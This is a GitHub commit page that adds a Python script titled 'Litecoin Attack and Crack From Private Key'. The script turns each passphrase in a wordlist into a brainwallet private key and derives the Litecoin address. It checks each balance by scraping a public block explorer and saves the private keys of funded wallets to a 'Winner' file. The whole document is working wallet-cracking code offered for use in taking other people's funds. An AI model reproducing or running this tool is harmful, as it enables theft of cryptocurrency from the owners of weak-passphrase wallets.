Skip to content

Commit 096e58a

Browse files
authored
Litecoin Attack and Crack From Private Key
Litecoin Attack and Crack From Private Key
1 parent 90770a3 commit 096e58a

File tree

1 file changed

+176
-0
lines changed

1 file changed

+176
-0
lines changed

litecoin.py

+176
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,182 @@
99

1010

1111

12+
import codecs
13+
import hashlib
14+
import threading
15+
16+
import ecdsa
17+
import requests
18+
from hdwallet import HDWallet
19+
from hdwallet.symbols import LTC as SYMBOL
20+
from lxml import html
21+
from rich.console import Console
22+
from rich.panel import Panel
23+
24+
console = Console()
25+
console.clear()
26+
27+
filexname = input('\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n [*] INSERT HERE File Name <---------|Without type file .txt|:::::::: ')
28+
29+
mylist = []
30+
31+
filename = str(filexname + ".txt")
32+
with open(filename, newline='', encoding='utf-8') as f:
33+
for line in f:
34+
mylist.append(line.strip())
35+
36+
37+
class BrainWallet:
38+
39+
@staticmethod
40+
def generate_address_from_passphrase(passphrase):
41+
private_key = str(hashlib.sha256(
42+
passphrase.encode('utf-8')).hexdigest())
43+
address = BrainWallet.generate_address_from_private_key(private_key)
44+
return private_key, address
45+
46+
@staticmethod
47+
def generate_address_from_private_key(private_key):
48+
public_key = BrainWallet.__private_to_public(private_key)
49+
address = BrainWallet.__public_to_address(public_key)
50+
return address
51+
52+
@staticmethod
53+
def __private_to_public(private_key):
54+
private_key_bytes = codecs.decode(private_key, 'hex')
55+
key = ecdsa.SigningKey.from_string(
56+
private_key_bytes, curve=ecdsa.SECP256k1).verifying_key
57+
key_bytes = key.to_string()
58+
key_hex = codecs.encode(key_bytes, 'hex')
59+
bitcoin_byte = b'04'
60+
public_key = bitcoin_byte + key_hex
61+
return public_key
62+
63+
@staticmethod
64+
def __public_to_address(public_key):
65+
public_key_bytes = codecs.decode(public_key, 'hex')
66+
# Run SHA256 for the public key
67+
sha256_bpk = hashlib.sha256(public_key_bytes)
68+
sha256_bpk_digest = sha256_bpk.digest()
69+
ripemd160_bpk = hashlib.new('ripemd160')
70+
ripemd160_bpk.update(sha256_bpk_digest)
71+
ripemd160_bpk_digest = ripemd160_bpk.digest()
72+
ripemd160_bpk_hex = codecs.encode(ripemd160_bpk_digest, 'hex')
73+
network_byte = b'00'
74+
network_bitcoin_public_key = network_byte + ripemd160_bpk_hex
75+
network_bitcoin_public_key_bytes = codecs.decode(
76+
network_bitcoin_public_key, 'hex')
77+
sha256_nbpk = hashlib.sha256(network_bitcoin_public_key_bytes)
78+
sha256_nbpk_digest = sha256_nbpk.digest()
79+
sha256_2_nbpk = hashlib.sha256(sha256_nbpk_digest)
80+
sha256_2_nbpk_digest = sha256_2_nbpk.digest()
81+
sha256_2_hex = codecs.encode(sha256_2_nbpk_digest, 'hex')
82+
checksum = sha256_2_hex[:8]
83+
address_hex = (network_bitcoin_public_key + checksum).decode('utf-8')
84+
wallet = BrainWallet.base58(address_hex)
85+
return wallet
86+
87+
@staticmethod
88+
def base58(address_hex):
89+
alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
90+
b58_string = ''
91+
leading_zeros = len(address_hex) - len(address_hex.lstrip('0'))
92+
address_int = int(address_hex, 16)
93+
while address_int > 0:
94+
digit = address_int % 58
95+
digit_char = alphabet[digit]
96+
b58_string = digit_char + b58_string
97+
address_int //= 58
98+
ones = leading_zeros // 2
99+
for one in range(ones):
100+
b58_string = '1' + b58_string
101+
return b58_string
102+
103+
104+
def bald(addr):
105+
urlblock = "https://litecoin.atomicwallet.io/address/" + addr
106+
respone_block = requests.get(urlblock)
107+
byte_string = respone_block.content
108+
source_code = html.fromstring(byte_string)
109+
xpatch_txid = '//*[@id="wrap"]/div/div[2]/div[1]/table/tbody/tr[3]/td[2]'
110+
treetxid = source_code.xpath(xpatch_txid)
111+
xVol = str(treetxid[0].text_content())
112+
return xVol
113+
114+
115+
def MmDrza():
116+
w = 0
117+
count = 0
118+
119+
for i in range(0, len(mylist)):
120+
count += 1
121+
passphrase = mylist[i]
122+
wallet = BrainWallet()
123+
private_key, address = wallet.generate_address_from_passphrase(passphrase)
124+
hdwallet: HDWallet = HDWallet(symbol=SYMBOL)
125+
hdwallet.from_private_key(private_key=private_key)
126+
addr = hdwallet.p2pkh_address()
127+
bal = bald(addr)
128+
ifxLTC = '0 LTC'
129+
MmdrzaPanel = str(
130+
'[gold1 on grey15]Total Checked: ' + '[orange_red1]' + str(count) + '[/][gold1 on grey15] ' + ' Win:' + '[white]' + str(w) + '[/][gold1] BAL:[aquamarine1]' + str(bal) + '\n[/][gold1 on grey15]Addr: ' + '[white] ' + str(address) + '[gold1 on grey15] Passphrase: ' + '[orange_red1]' + str(passphrase) + '[/]\nPRIVATEKEY: [grey54]' + str(private_key) + '[/]')
131+
style = "gold1 on grey11"
132+
133+
if bal != ifxLTC:
134+
fx = open(u"LTCWinner_________" + str(filexname) + "_MMDRZA.txt", "a")
135+
fx.write('\nAddress Compressed : ' + addr + ' Bal = ' + str(bal))
136+
fx.write('\nPassphrase : ' + passphrase)
137+
fx.write('\nPrivate Key : ' + private_key)
138+
fx.write('\nBalance: ' + str(bal))
139+
fx.write('\n-------------- Programmer Mmdrza.Com ----------------------\n')
140+
fx.close()
141+
console.print(Panel(str(MmdrzaPanel), title="[white]Win Wallet [/]", subtitle="[green_yellow blink] Mmdrza.Com [/]", style="red"), style=style, justify="full")
142+
w += 1
143+
else:
144+
ad1 = str(addr)[0]
145+
ad2 = str(addr)[1]
146+
ad3 = str(addr)[2]
147+
ad4 = str(addr)[3]
148+
ad5 = str(addr)[4]
149+
ad6 = str(addr)[5]
150+
ad7 = str(addr)[6]
151+
ad8 = str(addr)[7]
152+
ad9 = str(addr)[8]
153+
ad10 = str(addr)[9]
154+
ad11 = str(addr)[10]
155+
ad12 = str(addr)[11]
156+
ad13 = str(addr)[12]
157+
ad14 = str(addr)[13]
158+
ad15 = str(addr)[14]
159+
ad16 = str(addr)[15]
160+
ad17 = str(addr)[16]
161+
ad18 = str(addr)[17]
162+
ad19 = str(addr)[18]
163+
ad20 = str(addr)[19]
164+
ad21 = str(addr)[20]
165+
ad22 = str(addr)[21]
166+
ad23 = str(addr)[22]
167+
ad24 = str(addr)[23]
168+
ad25 = str(addr)[24]
169+
ad26 = str(addr)[25]
170+
ad27 = str(addr)[26]
171+
ad28 = str(addr)[27]
172+
ad29 = str(addr)[28]
173+
ad30 = str(addr)[29]
174+
ad31 = str(addr)[30]
175+
ad32 = str(addr)[31]
176+
ad33 = str(addr)[32]
177+
ad34 = str(addr)[33]
178+
179+
mmdrza_addr = str('[red1]' + str(ad1) + '[bright_red]' + str(ad2) + '[red3]' + str(ad3) + '[red3]' + str(ad4) + '[orange3]' + str(ad5) + '[gold3]' + str(ad6) + '[gold3]' + str(ad7) + '[yellow2]' + str(ad8) + '[yellow2]' + str(ad9) + '[yellow1]' + str(ad10) + '[khaki1]' + str(ad11) + '[wheat1]' + str(ad12) + '[cornsilk1]' + str(ad13) + '[grey100]' + str(ad14) + '[grey100]' + str(ad15) + '[grey100]' + str(ad16) + '[cornsilk1]' + str(ad17) + '[wheat1]' + str(ad18) + '[khaki1]' + str(ad19) + '[light_goldenrod1]' + str(ad20) + '[gold1]' + str(ad21) + '[gold1]' + str(ad22) + '[gold1]' + str(ad23) + '[yellow3]' + str(
180+
ad24) + '[yellow2]' + str(ad25) + '[yellow1]' + str(ad26) + '[light_goldenrod1]' + str(ad27) + '[khaki1]' + str(ad28) + '[wheat1]' + str(ad29) + '[cornsilk1]' + str(ad30) + '[grey100]' + str(ad31) + '[cornsilk1]' + str(ad32) + '[wheat1]' + str(ad33) + '[khaki1]' + str(ad34) + '[/]')
181+
182+
console.print('[gold1]Total:[white]' + str(count) + '[/][gold1]-- Win:[white]' + str(w) + '[/][b red1] LTC ADDR[/]= ' + str(mmdrza_addr) + ' [khaki1] --[wheat1]-[cornsilk1]-[cornsilk1]-[wheat1]-[wheat1]-[khaki1]-[light_goldenrod1] B[yellow1]AL[yellow1]A[yellow2]N[yellow3]C[gold1]E: [orange3]' + str(bal) + '[/][yellow] Passphrase:[green]' + str(passphrase) + '[/]')
183+
184+
185+
thr = threading.Thread(target=MmDrza)
186+
thr.start()
187+
thr.join()
12188

13189

14190

0 commit comments

Comments
 (0)